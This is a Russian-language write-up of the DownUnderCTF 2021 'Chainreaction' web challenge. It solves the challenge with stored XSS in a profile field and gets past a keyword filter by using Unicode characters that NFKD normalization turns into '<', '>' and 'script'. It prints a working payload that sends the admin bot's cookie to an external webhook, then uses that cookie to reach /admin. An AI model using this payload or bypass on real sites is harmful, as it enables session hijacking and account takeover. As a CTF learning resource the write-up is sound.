DownUnderCTF 2021 (Chainreaction)

Рисунок 1 — Задание

Переходим на сайт и сначала нас редиректит пару раз, отследил редиректы через BurpSuite, но не нашёл там ничего интересного. Поэтому пробуем зарегистрироваться. После регистрации нас редиректит в форму ввода логина. И там снизу есть интересное примечание, которое ведёт в директорию /dev:

Рисунок 2 — примечание после регистрации

Логинимся, и переходим в /dev. Здесь нас интересуют упоминания директорий /devchat и /admin. Когда я решал, этот таск, то сначала не придал особого значения этим разделам. Очевидно, по названию, devchat это чат разработчиков. А когда пытаемся перейти в директорию /admin выскакивает уведомление Not Allowed. Перехожу в свой профиль, и вижу, что тут можно оставлять заметки о себе, и стандартная для CTF заданий на XSS уязвимость, кнопка репорта для того чтобы своровать куки у бота который перейдёт на уязвимую страницу.

Рисунок 3 — кнопка репорта

Пробуем ввести asdqwe ‘ » test в форму, и смотрим куда попадает наш ввод в DOM-модели:

Рисунок 4 — отображение пейлоада в DOM модели

Тут видно, что наш ввод, попадает в тег <input> в атрибут value. Из сурс кода видно, что мы можем закрыть значение атрибута value. Поэтому попробую добавить обработчик событий, пейлоад будет вот таким:

asd” onfocus=alert(123) autofocus “

В ответ получаем:

Рисунок 5 — фильтрация

Путём проб и ошибок, я выяснил, что этот ответ получается каждый раз, когда вводятся любые потенциально опасные символы или слова, например была фильтрация на слова script, onload, onfocus и другие обработчики событий, а также на закрывающий и открывающий тег <>. И тут я встал в тупик, оставалось только почитать наконец /devchat.

По итогу внимательного прочтения их переписки я узнал, что они сначала проверяют ввод на потенциально опасные символы и слова, а потом его нормализуют при помощи NFKD. Хорошая статья про нормализацию https://habr.com/ru/post/45489/ . Сайт с альтернативными значениями символов Unicode — https://www.compart.com/en/unicode/search?q=#characters . Например, у закрывающего тега, есть 3 альтернативы, которые NFKD нормализует в стандартный закрывающий тег:

Рисунок 6 — альтернативные юникод значения для закрывающего тега

Теперь зная это, открываю веб хук, пишу простой пейлоад:

asd"﹥<sᶜriₚt﹥window.location=’https://engjqnfcn4nu5qg.m.pipedream.net/?v'+document.cookie</sᶜriₚt﹥

Обновляю информацию о себе, жму кнопку репорта и смотрю запрос в веб хуке:

Рисунок 7 — пойманный запрос

Добавляем себе эту куку, переходим в раздел /admin и получаем заветный флаг 🙂

Рисунок 8 — флажок)